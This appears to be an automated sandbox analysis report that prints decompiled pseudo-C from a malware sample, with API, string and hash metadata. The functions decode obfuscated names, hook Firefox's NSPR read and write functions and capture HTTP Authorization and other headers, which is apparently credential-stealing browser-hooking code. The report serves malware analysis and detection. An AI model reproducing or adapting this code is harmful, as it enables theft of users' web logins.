									 *((intOrPtr*)(_t207 + 0x14)) = E0041320C(E0041320C(E00413288(_t203, _a12, "Accept-Encoding", "identity"), _t165, _t203, "TE"), _t165, _t203, "If-Modified-Since");
								} else {
									E004086FC( *((intOrPtr*)(_t207 + 0x60)), _v20);
								}
							}
							__eflags = _v84 & 0x00000004;
							if((_v84 & 0x00000004) == 0) {
								L27:
								__eflags = _v92;
								if(_v92 == 0) {
									goto L37;
								}
								E00408692( &_v76);
								_t70 = _t186 + 0x24;
								 *_t70 =  *(_t186 + 0x24) & 0x00000000;
								__eflags =  *_t70;
								 *(_t186 + 8) = _v80;
								 *((intOrPtr*)(_t186 + 0x1c)) = _v92;
								 *(_t186 + 0x20) = _v88;
								 *(_t186 + 0x28) = _a12;
								goto L29;
							}
							_t202 = _v92;
							__eflags = _t202;
							if(__eflags != 0) {
								_t136 = _v88;
							} else {
								_t202 = _a8;
								_t136 = _a12;
							}
							_v84 = _t136;
							_v104 = E00406857(_v84, __eflags, _t202, _v40, _v36,  &_v92);
							E0040E235( *((intOrPtr*)(_t207 + 0x44)));
							__eflags = _v108;
							if(_v108 != 0) {
								__eflags = _t202 - _a8;
								if(_t202 != _a8) {
									E0040E235(_t202);
								}
							} else {
								__eflags = _t202 - _a8;
								if(_t202 == _a8) {
									goto L37;
								}
								_v92 = _t202;
								_v88 = _v84;
							}
							goto L27;
						} else {
							E00408692( &_v76);
							LeaveCriticalSection(0x422788);
							_t111 =  *0x422784(0xffffe8a3, 0) | 0xffffffff;
							goto L10;
						}
					} else {
						E004060C8(_v84);
						E00408692( &_v76);
						goto L8;
					}
				}
			}

0x00407005
0x00407012
0x0040708a
0x00407093
0x00000000
0x00407020
0x00407026
0x0040702c
0x00407034
0x00407036
0x0040703d
0x00407083
0x00407084
0x00000000
0x00407084
0x00407042
0x0040704c
0x00407228
0x00407228
0x00407234
0x00407236
0x0040723e
0x00407242
0x0040724b
0x0040724f
0x00407252
0x00407255
0x0040725b
0x00407260
0x00407263
0x0040727a
0x00407281
0x00407287
0x00407289
0x004072a8
0x004072ab
0x004072ab
0x004072ab
0x004072ae
0x0040728b
0x0040728e
0x00407293
0x004072a1
0x004072a1
0x00407265
0x00407265
0x00407270
0x00407277
0x004072b7
0x004072b7
0x004072bd
0x004072bd
0x0040709c
0x004070a2
0x004070a2
0x00407056
0x004072d9
0x004072e0
0x004072e5
0x004072ec
0x004072f5
0x004072f9
0x004072fc
0x004072ff
0x00407305
0x0040730a
0x0040730d
0x00407329
0x0040732f
0x00407332
0x00407336
0x00407341
0x00407338
0x0040733c
0x0040733c
0x0040730f
0x0040730f
0x0040731a
0x00407321
0x00407347
0x00407347
0x00000000
0x004072fc
0x00407067
0x0040706c
0x00407073
0x004070a5
0x004070a9
0x004072c6
0x004072ca
0x004072d3
0x004072d3
0x004072d6
0x00000000
0x004072d6
0x004070b4
0x004070b9
0x004070bd
0x004070bf
0x004070e5
0x004070e9
0x004070ed
0x004070ef
0x00407100
0x00407102
0x00407106
0x00407108
0x0040711f
0x00407127
0x0040712f
0x0040713c
0x00407141
0x00407145
0x00407145
0x00407145
0x0040714e
0x0040715d
0x00407165
0x00407185
0x0040710a
0x00407112
0x00407112
0x00407108
0x00407189
0x0040718e
0x004071f5
0x004071f5
0x004071fa
0x00000000
0x00000000
0x00407204
0x0040720d
0x0040720d
0x0040720d
0x00407211
0x00407218
0x0040721f
0x00407225
0x00000000
0x00407225
0x00407190
0x00407194
0x00407196
0x004071a0
0x00407198
0x00407198
0x0040719b
0x0040719b
0x004071a4
0x004071c3
0x004071c7
0x004071cc
0x004071d1
0x004071ea
0x004071ed
0x004071f0
0x004071f0
0x004071d3
0x004071d3
0x004071d6
0x00000000
0x00000000
0x004071e0
0x004071e4
0x004071e4
0x00000000
0x004070c1
0x004070c5
0x004070cb
0x004070e0
0x00000000
0x004070e0
0x00407075
0x00407079
0x0040707e
0x00000000
0x0040707e
0x00407073

APIs

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

EnterCriticalSection.KERNEL32(00422788), ref: 00407026
LeaveCriticalSection.KERNEL32(00422788), ref: 00407084
LeaveCriticalSection.KERNEL32(00422788,?), ref: 004070CB
LeaveCriticalSection.KERNEL32(00422788), ref: 00407236
EnterCriticalSection.KERNEL32(00422788), ref: 00407255
LeaveCriticalSection.KERNEL32(00422788), ref: 004072B7
LeaveCriticalSection.KERNEL32(00422788), ref: 004072E0
EnterCriticalSection.KERNEL32(00422788), ref: 004072FF
LeaveCriticalSection.KERNEL32(00422788), ref: 00407347

Strings

If-Modified-Since, xrefs: 00407179
Accept-Encoding, xrefs: 00407155
identity, xrefs: 00407149

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter$ObjectSingleWait
String ID: Accept-Encoding$If-Modified-Since$identity
API String ID: 3286975823-3034467039
Opcode ID: 12e4ca2830c5d41f6848b435f8486311b93b41ba5c96d1d5ed169f4f03d67d28
Instruction ID: d79b3fcc0268902d7568600ab2c2bcef2b9f4b7e44b33a22838b85837163757c
Opcode Fuzzy Hash: 12e4ca2830c5d41f6848b435f8486311b93b41ba5c96d1d5ed169f4f03d67d28
Instruction Fuzzy Hash: C0A18E71908302AFCB10EF24C945A5ABBA4BF84314F104A2EF855B72E1D778E955CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040647D, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040647D(struct HINSTANCE__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				char _v28;
				char _v52;
				char* _t25;
				char* _t28;
				char* _t31;
				_Unknown_base(*)()* _t37;

				 *0x4227a4 = 0;
				 *0x4227a8 = 0;
				InitializeCriticalSection(0x422788);
				 *0x422780 = _a4;
				 *0x4227a0 = _a8;
				 *0x42277c = _a12;
				 *0x4227ac = _a16;
				 *0x422778 = _a20;
				lstrcpyA( &_v52, "QS`HfuObnfGpsJefoujuz");
				_t25 =  &_v52;
				if(_v52 != 0) {
					do {
						 *_t25 =  *_t25 - 1;
						_t25 = _t25 + 1;
					} while ( *_t25 != 0);
				}
				lstrcpyA( &_v16, "QS`TfuFssps");
				_t28 =  &_v16;
				if(_v16 != 0) {
					do {
						 *_t28 =  *_t28 - 1;
						_t28 = _t28 + 1;
					} while ( *_t28 != 0);
				}
				lstrcpyA( &_v28, "QS`HfuFssps");
				_t31 =  &_v28;
				if(_v28 != 0) {
					do {
						 *_t31 =  *_t31 - 1;
						_t31 = _t31 + 1;
					} while ( *_t31 != 0);
				}
				 *0x422774 = GetProcAddress( *0x422780,  &_v52);
				 *0x422784 = GetProcAddress( *0x422780,  &_v16);
				_t37 = GetProcAddress( *0x422780,  &_v28);
				 *0x4222a4 = _t37;
				return _t37;
			}

0x0040648c
0x00406492
0x00406498
0x004064a7
0x004064af
0x004064b7
0x004064bf
0x004064c7
0x004064d5
0x004064d7
0x004064dd
0x004064df
0x004064df
0x004064e1
0x004064e2
0x004064df
0x004064ef
0x004064f1
0x004064f7
0x004064f9
0x004064f9
0x004064fb
0x004064fc
0x004064f9
0x00406509
0x0040650b
0x00406511
0x00406513
0x00406513
0x00406515
0x00406516
0x00406513
0x0040652c
0x0040653d
0x0040654c
0x0040654f
0x00406556

APIs

InitializeCriticalSection.KERNEL32(00422788,73B74EE0,00000000,?,?,?,?,?,?,?,?,?,0040D5B5,00000000,004220A8), ref: 00406498
lstrcpyA.KERNEL32(?,QS`HfuObnfGpsJefoujuz,?,?,?,?,?,?,?,?,?,0040D5B5,00000000,004220A8), ref: 004064D5
lstrcpyA.KERNEL32(0040D5B5,QS`TfuFssps,?,?,?,?,?,?,?,?,?,0040D5B5,00000000,004220A8), ref: 004064EF
lstrcpyA.KERNEL32(?,QS`HfuFssps,?,?,?,?,?,?,?,?,?,0040D5B5,00000000,004220A8), ref: 00406509
GetProcAddress.KERNEL32(?), ref: 0040652A
GetProcAddress.KERNEL32(0040D5B5), ref: 0040653B
GetProcAddress.KERNEL32(?), ref: 0040654C

Strings

QS`HfuFssps, xrefs: 00406500
QS`TfuFssps, xrefs: 004064E6
QS`HfuObnfGpsJefoujuz, xrefs: 004064CC

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProclstrcpy$CriticalInitializeSection
String ID: QS`HfuFssps$QS`HfuObnfGpsJefoujuz$QS`TfuFssps
API String ID: 3219184377-528376049
Opcode ID: a79b83fe0557d7e67d52325eeaa24350713275c7dd4636c0c294e647813ca290
Instruction ID: 3c1074d5af675db988638942ba98d81f353fe37c0b7fdc71f6626c2db2bb531b
Opcode Fuzzy Hash: a79b83fe0557d7e67d52325eeaa24350713275c7dd4636c0c294e647813ca290
Instruction Fuzzy Hash: 852171B5D14259BFDB11DFA4EE4489A7FB8FB49300B8400B7E941E7260E3B19905DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00414E71, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00414E71() {
				struct HINSTANCE__* _v8;
				char _v28;
				short _v56;
				char _v84;
				intOrPtr* _t18;
				struct HINSTANCE__* _t20;
				char* _t24;
				char* _t29;

				lstrcpyW( &_v56, L"cfxcrk540fnn");
				_t18 =  &_v56;
				if(_v56 == 0) {
					L2:
					_t20 = GetModuleHandleW( &_v56);
					_v8 = _t20;
					if(_t20 == 0) {
						return 0;
					}
					lstrcpyA( &_v84, "TfuTfdvsjuzEftdsjqupsTbdm");
					_t24 =  &_v84;
					if(_v84 == 0) {
						L5:
						 *0x4237b8 = GetProcAddress(_v8,  &_v84);
						lstrcpyA( &_v28, "PqfoQspdfttUplfo");
						_t29 =  &_v28;
						if(_v28 == 0) {
							L7:
							 *0x4237d8 = GetProcAddress(_v8,  &_v28);
							return 1;
						} else {
							goto L6;
						}
						do {
							L6:
							 *_t29 =  *_t29 - 1;
							_t29 = _t29 + 1;
						} while ( *_t29 != 0);
						goto L7;
					} else {
						goto L4;
					}
					do {
						L4:
						 *_t24 =  *_t24 - 1;
						_t24 = _t24 + 1;
					} while ( *_t24 != 0);
					goto L5;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t18 =  *_t18 + 0xfffe;
					_t18 = _t18 + 2;
				} while ( *_t18 != 0);
				goto L2;
			}

0x00414e81
0x00414e89
0x00414e90
0x00414ea2
0x00414ea6
0x00414eac
0x00414eb1
0x00000000
0x00414f17
0x00414ec4
0x00414ec6
0x00414ecc
0x00414ed5
0x00414ee4
0x00414ef2
0x00414ef4
0x00414efa
0x00414f03
0x00414f0d
0x00000000
0x00000000
0x00000000
0x00000000
0x00414efc
0x00414efc
0x00414efc
0x00414efe
0x00414eff
0x00000000
0x00000000
0x00000000
0x00000000
0x00414ece
0x00414ece
0x00414ece
0x00414ed0
0x00414ed1
0x00000000
0x00000000
0x00000000
0x00000000
0x00414e92
0x00414e92
0x00414e97
0x00414e9a
0x00414e9d
0x00000000

APIs

lstrcpyW.KERNEL32(?,cfxcrk540fnn), ref: 00414E81
GetModuleHandleW.KERNEL32(?), ref: 00414EA6
lstrcpyA.KERNEL32(?,TfuTfdvsjuzEftdsjqupsTbdm,73BB8170,73B74EE0), ref: 00414EC4
GetProcAddress.KERNEL32(00000000,?), ref: 00414EE2
lstrcpyA.KERNEL32(?,PqfoQspdfttUplfo), ref: 00414EF2
GetProcAddress.KERNEL32(00000000,?), ref: 00414F0A

Strings

TfuTfdvsjuzEftdsjqupsTbdm, xrefs: 00414EBB
PqfoQspdfttUplfo, xrefs: 00414EE9
cfxcrk540fnn, xrefs: 00414E78

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy$AddressProc$HandleModule
String ID: PqfoQspdfttUplfo$TfuTfdvsjuzEftdsjqupsTbdm$cfxcrk540fnn
API String ID: 750287672-143917664
Opcode ID: 33ec0361f066fcd7ff412e5f850b9829d32053c32b86994b170c2d2c82d5098d
Instruction ID: c65f2ca1f6ecd492bf133d0611dbdb5f170658db17eb79e5d2278446bc9d2d03
Opcode Fuzzy Hash: 33ec0361f066fcd7ff412e5f850b9829d32053c32b86994b170c2d2c82d5098d
Instruction Fuzzy Hash: 921130B1901298AECF11EBE0ED458EE7BBDEE85300B5404B7E241F7260E3745A8ADB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D523, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040D523(void* __ecx, void* __edx, struct HINSTANCE__* __edi) {
				char _v24;
				void* __ebx;
				char* _t7;
				_Unknown_base(*)()* _t12;
				void* _t17;
				void* _t18;
				void* _t20;
				void* _t21;
				struct HINSTANCE__* _t22;

				_t22 = __edi;
				_t21 = __edx;
				_t20 = __ecx;
				lstrcpyA( &_v24, "QS`PqfoUDQTpdlfu");
				_t7 =  &_v24;
				if(_v24 != 0) {
					do {
						 *_t7 =  *_t7 - 1;
						_t7 = _t7 + 1;
					} while ( *_t7 != 0);
				}
				 *0x4220a8 = GetProcAddress(_t22,  &_v24);
				 *0x4220b8 = GetProcAddress(_t22, "PR_Close");
				 *0x4220c8 = GetProcAddress(_t22, "PR_Read");
				_t12 = GetProcAddress(_t22, "PR_Write");
				_push(0x4220a8);
				_t17 = 4;
				 *0x4220d8 = _t12;
				_t18 = E0040D3B6(_t17, _t20, _t21);
				if(_t18 != 0) {
					E0040647D(_t22,  *0x4220b0,  *0x4220c0,  *0x4220d0,  *0x4220e0);
				}
				return _t18;
			}

0x0040d523
0x0040d523
0x0040d523
0x0040d532
0x0040d53c
0x0040d53f
0x0040d541
0x0040d541
0x0040d543
0x0040d544
0x0040d541
0x0040d55e
0x0040d56b
0x0040d578
0x0040d57d
0x0040d57f
0x0040d586
0x0040d587
0x0040d591
0x0040d595
0x0040d5b0
0x0040d5b0
0x0040d5ba

APIs

lstrcpyA.KERNEL32(?,QS`PqfoUDQTpdlfu,?,?,?,?,00404DFA), ref: 0040D532
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040D556
GetProcAddress.KERNEL32(00000000,PR_Close), ref: 0040D563
GetProcAddress.KERNEL32(00000000,PR_Read), ref: 0040D570
GetProcAddress.KERNEL32(00000000,PR_Write), ref: 0040D57D

Strings

PR_Close, xrefs: 0040D558
PR_Read, xrefs: 0040D565
PR_Write, xrefs: 0040D572
QS`PqfoUDQTpdlfu, xrefs: 0040D529

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$lstrcpy
String ID: PR_Close$PR_Read$PR_Write$QS`PqfoUDQTpdlfu
API String ID: 4137397425-1719874217
Opcode ID: 4a5545f6d0e7f500ef4493437f897556e431f94e6fab84f6a8f21bc6935b7162
Instruction ID: 0f5e0617d4b041b47b1f580da1d1d94a2fcd19e082a492496d8fd00ac8de70de
Opcode Fuzzy Hash: 4a5545f6d0e7f500ef4493437f897556e431f94e6fab84f6a8f21bc6935b7162
Instruction Fuzzy Hash: B4010471E402147ADB219BA0AE49F6B7FADAB01704F94003BE604F31A0D2B8454ACBAD

Uniqueness

Uniqueness Score: -1.00%

Function 00406559, Relevance: 15.3, APIs: 1, Strings: 9, Instructions: 261
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00406559(intOrPtr* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v60;
				void* __edi;
				void* _t93;
				signed int _t96;
				void* _t98;
				char* _t106;
				intOrPtr _t108;
				intOrPtr _t111;
				intOrPtr _t115;
				void* _t122;
				intOrPtr _t126;
				void* _t128;
				CHAR* _t143;
				intOrPtr _t167;
				signed int _t169;
				signed int _t170;
				intOrPtr* _t172;

				_t172 = __esi;
				E0040E2E8(_t93, __esi, 0, 0x48);
				_t166 = _a12;
				_t149 = _a8;
				_t96 = E004130E4(_a8, _a12, 2,  &_v32);
				if(_t96 == 0) {
					L45:
					return _t96 | 0xffffffff;
				}
				_push(_t96);
				_t98 = 8;
				_t96 = E0040ED98(_t98, "HTTP/1.1", _v32);
				if(_t96 != 0) {
					goto L45;
				}
				_t96 = E004130E4(_t149, _t166, 1,  &_v28);
				_v40 = _t96;
				if(_t96 == 0 || _v28 == 0) {
					goto L45;
				} else {
					_t96 = E004130E4(_t149, _t166, 0,  &_v32);
					_v44 = _t96;
					if(_t96 == 0 || _v32 == 0) {
						goto L45;
					} else {
						_t96 = E004130E4(_t149, _t166, "Host",  &_v24);
						_v36 = _t96;
						if(_t96 == 0 || _v24 == 0) {
							goto L45;
						} else {
							_t96 = E004130E4(_t149, _t166, 3,  &_v16);
							_v48 = _t96;
							if(_t96 == 0) {
								goto L45;
							}
							_v20 = _v20 & 0x00000000;
							_t96 = E004130E4(_t149, _t166, "Content-Length",  &_v12);
							_t152 = _t96;
							if(_t96 == 0) {
								if(_v16 != 0) {
									goto L45;
								}
								L16:
								_t167 = 7;
								 *_t172 = 2;
								_t150 = "http://";
								lstrcpyA( &_v60, "OTT!mbzfs");
								_t106 =  &_v60;
								if(_v60 == 0) {
									L18:
									_t108 =  *((intOrPtr*)(_a4 + 0x14));
									if(_t108 > 0) {
										_t143 =  *0x422774(_t108);
										_t150 = _t143;
										if(_t143 != 0 && E0040E2A6( &_v60, _t150, 9) == 0) {
											_t150 = "https://";
											_t167 = 8;
										}
									}
									_t111 = E0040E205(_v24 + _v28 + 9);
									 *((intOrPtr*)(_t172 + 8)) = _t111;
									if(_t111 != 0) {
										E0040E271(_t111, _t150, _t167);
										 *((intOrPtr*)(_t172 + 0xc)) = _t167;
										 *((intOrPtr*)(_t172 + 0xc)) =  *((intOrPtr*)(_t172 + 0xc)) + E0040E271( *((intOrPtr*)(_t172 + 8)) + _t167, _v36, _v24);
										_t156 = _v40;
										_t115 =  *((intOrPtr*)(_t172 + 0xc));
										if( *_v40 != 0x2f) {
											 *((char*)(_t115 +  *((intOrPtr*)(_t172 + 8)))) = 0x2f;
											 *((intOrPtr*)(_t172 + 0xc)) = _t115 + 1;
										}
										 *((intOrPtr*)(_t172 + 0xc)) =  *((intOrPtr*)(_t172 + 0xc)) + E0040E271( *((intOrPtr*)(_t172 + 0xc)) +  *((intOrPtr*)(_t172 + 8)), _t156, _v28);
										 *((char*)( *((intOrPtr*)(_t172 + 0xc)) +  *((intOrPtr*)(_t172 + 8)))) = 0;
										if(E004130E4(_a8, _a12, "Referer",  &_v12) != 0) {
											_t170 = _v12;
											if(_t170 != 0) {
												 *((intOrPtr*)(_t172 + 0x10)) = E0040E693(_t170, _t120);
												 *((intOrPtr*)(_t172 + 0x14)) = _t170;
											}
										}
										_t122 =  *_v44;
										if(_t122 != 0x50 || _v32 != 4) {
											if(_t122 != 0x47 || _v32 != 3) {
												goto L23;
											} else {
												 *((char*)(_t172 + 0x18)) = 0;
												goto L35;
											}
										} else {
											 *((char*)(_t172 + 0x18)) = 1;
											L35:
											if(E004130E4(_a8, _a12, "Content-Type",  &_v12) != 0) {
												_t169 = _v12;
												if(_t169 != 0) {
													 *((intOrPtr*)(_t172 + 0x1c)) = E0040E693(_t169, _t125);
													 *((intOrPtr*)(_t172 + 0x20)) = _t169;
												}
											}
											_t126 = _v16;
											_t76 = _t126 - 1; // -1
											_t160 = _t76;
											if(_t76 <= 0xfffff) {
												_t160 = _v48;
												 *(_t172 + 0x24) = _v48;
												 *((intOrPtr*)(_t172 + 0x28)) = _t126;
											}
											_t128 = E004130E4(_a8, _a12, "Authorization",  &_v12);
											_t168 = _t128;
											if(_t128 != 0 && _v12 > 0 && E00413400(_t168, _t160, _v12, _t172 + 0x2c, _t172 + 0x30) == 0) {
												 *((intOrPtr*)(_t172 + 0x34)) = E0040E693(_v12, _t168);
											}
											 *((intOrPtr*)(_t172 + 0x40)) = E0041BDB6();
											 *((intOrPtr*)(_t172 + 0x44)) = E004095BE(_t160);
											 *((intOrPtr*)(_t172 + 4)) = _a4;
											goto L23;
										}
									}
									L23:
									return _v20;
								} else {
									goto L17;
								}
								do {
									L17:
									 *_t106 =  *_t106 - 1;
									_t106 = _t106 + 1;
								} while ( *_t106 != 0);
								goto L18;
							}
							_t96 = _v12;
							if(_t96 == 0 || _t96 > 0xa) {
								goto L45;
							} else {
								E0040E67C(_t96, _t152,  &_v60);
								_t96 = E0040E8B4( &_v60, _t152,  &_v5);
								if(_v5 != 0 || _t96 < _v16) {
									goto L45;
								} else {
									_v20 = _t96 - _v16;
									goto L16;
								}
							}
						}
					}
				}
			}

0x00406559
0x00406566
0x0040656b
0x0040656e
0x00406579
0x00406580
0x0040684e
0x00000000
0x0040684e
0x00406589
0x0040658c
0x00406592
0x00406599
0x00000000
0x00000000
0x004065a7
0x004065ac
0x004065b1
0x00000000
0x004065c1
0x004065c9
0x004065ce
0x004065d3
0x00000000
0x004065e3
0x004065ee
0x004065f3
0x004065f8
0x00000000
0x00406608
0x00406610
0x00406615
0x0040661a
0x00000000
0x00000000
0x00406620
0x0040662f
0x00406634
0x00406638
0x0040667f
0x00000000
0x00000000
0x00406685
0x00406687
0x00406691
0x00406697
0x0040669c
0x004066a6
0x004066a9
0x004066b3
0x004066b6
0x004066bb
0x004066be
0x004066c4
0x004066c9
0x004066dd
0x004066e2
0x004066e2
0x004066c9
0x004066ed
0x004066f2
0x004066f7
0x00406704
0x00406716
0x0040671e
0x00406721
0x00406727
0x0040672a
0x0040672f
0x00406734
0x00406734
0x00406748
0x00406751
0x0040676b
0x0040676d
0x00406772
0x0040677c
0x0040677f
0x0040677f
0x00406772
0x00406785
0x00406789
0x00406799
0x00000000
0x004067a9
0x004067a9
0x00000000
0x004067a9
0x00406791
0x00406791
0x004067ad
0x004067c3
0x004067c5
0x004067ca
0x004067d4
0x004067d7
0x004067d7
0x004067ca
0x004067da
0x004067dd
0x004067dd
0x004067e6
0x004067e8
0x004067eb
0x004067ee
0x004067ee
0x00406800
0x00406805
0x00406809
0x00406830
0x00406830
0x00406838
0x00406840
0x00406846
0x00000000
0x00406846
0x00406789
0x004066f9
0x00000000
0x00000000
0x00000000
0x00000000
0x004066ab
0x004066ab
0x004066ab
0x004066ad
0x004066ae
0x00000000
0x004066ab
0x0040663a
0x0040663f
0x00000000
0x0040664e
0x00406651
0x0040665b
0x00406664
0x00000000
0x00406673
0x00406676
0x00000000
0x00406676
0x00406664
0x0040663f
0x004065f8
0x004065d3

APIs

Part of subcall function 004130E4: StrCmpNIA.SHLWAPI(?,?,00000000,?,?,?,?,?,00000048), ref: 00413151

lstrcpyA.KERNEL32(?,OTT!mbzfs,?,?,Content-Length,?,?,?,00000003,?,?,?,Host,?,?,?), ref: 0040669C

Strings

https://, xrefs: 004066DD
Host, xrefs: 004065E7
Content-Type, xrefs: 004067B1
OTT!mbzfs, xrefs: 00406688
Content-Length, xrefs: 00406628
Authorization, xrefs: 004067F5
HTTP/1.1, xrefs: 0040658D
Referer, xrefs: 00406759
http://, xrefs: 00406697, 00406702

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpy
String ID: Authorization$Content-Length$Content-Type$HTTP/1.1$Host$OTT!mbzfs$Referer$http://$https://
API String ID: 3722407311-1007697349
Opcode ID: 3c939e4813886434dd86967f73150528e1938b13cbcd865ca2d187b5bc507301
Instruction ID: a2f8ddd01b80dbd3b24ba9bef1ab287863949f862f76e3c13d0152cef2025e65
Opcode Fuzzy Hash: 3c939e4813886434dd86967f73150528e1938b13cbcd865ca2d187b5bc507301
Instruction Fuzzy Hash: 1D914E71A00249AFDB20DF65C845BAFBBF9AF44304F01883FE552B6281D779E951CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040C10D, Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 75
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C10D(WCHAR* __eax) {
				char* _v8;
				intOrPtr _v12;
				char* _v16;
				char* _v20;
				char* _v24;
				char* _v28;
				char* _v32;
				char* _v36;
				signed int _t31;
				signed int _t33;
				void* _t34;
				signed int _t35;
				WCHAR* _t36;
				WCHAR* _t37;
				WCHAR* _t38;
				signed int _t39;
				void* _t40;

				_t36 = __eax;
				_t38 = _t36 + lstrlenW(__eax) * 2;
				_t33 = 0;
				while(_t38 > _t36) {
					if( *_t38 == 0x2e) {
						break;
					}
					_t38 = _t38 - 2;
					_t33 = _t33 + 1;
				}
				if(_t38 != _t36 ||  *_t38 == 0x2e) {
					_t4 = _t33 + 2; // 0x2
					_t37 = E0040E205(_t33 + _t4);
					if(_t37 == 0) {
						goto L6;
					}
					_t5 = _t33 + 1; // 0x1
					lstrcpynW(_t37, _t38, _t5);
					_t35 = 0;
					if(_t33 <= 0) {
						L13:
						_t34 = 0;
						_v36 = L".z";
						_v32 = L".zip";
						_v28 = L".zoo";
						_v24 = L".arc";
						_v20 = L".lzh";
						_v16 = L".arj";
						_v12 = L".gz";
						_v8 = L".tgz";
						_t39 = 0;
						while(lstrcmpW(_t37,  *(_t40 + _t39 * 4 - 0x20)) != 0) {
							_t39 = _t39 + 1;
							if(_t39 < 8) {
								continue;
							}
							L18:
							E0040E235(_t37);
							return _t34;
						}
						_t34 = 1;
						goto L18;
					} else {
						goto L9;
					}
					do {
						L9:
						_t31 = _t37[_t35] & 0x0000ffff;
						if(_t31 >= 0x41 && _t31 <= 0x5a) {
							_t37[_t35] = _t31 + 0x20;
						}
						_t35 = _t35 + 1;
					} while (_t35 < _t33);
					goto L13;
				} else {
					L6:
					return 0;
				}
			}

0x0040c116
0x0040c11f
0x0040c122
0x0040c130
0x0040c12a
0x00000000
0x00000000
0x0040c12c
0x0040c12f
0x0040c12f
0x0040c136
0x0040c145
0x0040c14e
0x0040c152
0x00000000
0x00000000
0x0040c154
0x0040c15a
0x0040c160
0x0040c164
0x0040c180
0x0040c180
0x0040c182
0x0040c189
0x0040c190
0x0040c197
0x0040c19e
0x0040c1a5
0x0040c1ac
0x0040c1b3
0x0040c1ba
0x0040c1bc
0x0040c1cb
0x0040c1cf
0x00000000
0x00000000
0x0040c1d5
0x0040c1d6
0x00000000
0x0040c1db
0x0040c1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c166
0x0040c166
0x0040c166
0x0040c16d
0x0040c177
0x0040c177
0x0040c17b
0x0040c17c
0x00000000
0x0040c13e
0x0040c13e
0x00000000
0x0040c13e

APIs

lstrlenW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,0040CA4C,?,?,00000008), ref: 0040C119
lstrcpynW.KERNEL32(00000000,00000000,00000001,?,?,?,?,0040CA4C,?,?,00000008), ref: 0040C15A
lstrcmpW.KERNEL32(00000000,00403BFC), ref: 0040C1C1

Strings

.lzh, xrefs: 0040C19E
.gz, xrefs: 0040C1AC
.zoo, xrefs: 0040C190
.tgz, xrefs: 0040C1B3
.zip, xrefs: 0040C189
.arc, xrefs: 0040C197
.arj, xrefs: 0040C1A5

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcmplstrcpynlstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 411197194-51310709
Opcode ID: 45d428f314a56492dee20a6d20039a335a26ee913c00fc1ea6103a8063a64e44
Instruction ID: d49f43c2925c968e3adcf0c0f55895f81be1e8740916009b4096eb06840fe20b
Opcode Fuzzy Hash: 45d428f314a56492dee20a6d20039a335a26ee913c00fc1ea6103a8063a64e44
Instruction Fuzzy Hash: 2A214672800255EADB205FA588C44BFBBB8EE06705755423FD840BB2D2D77C89858FED

Uniqueness

Uniqueness Score: -1.00%

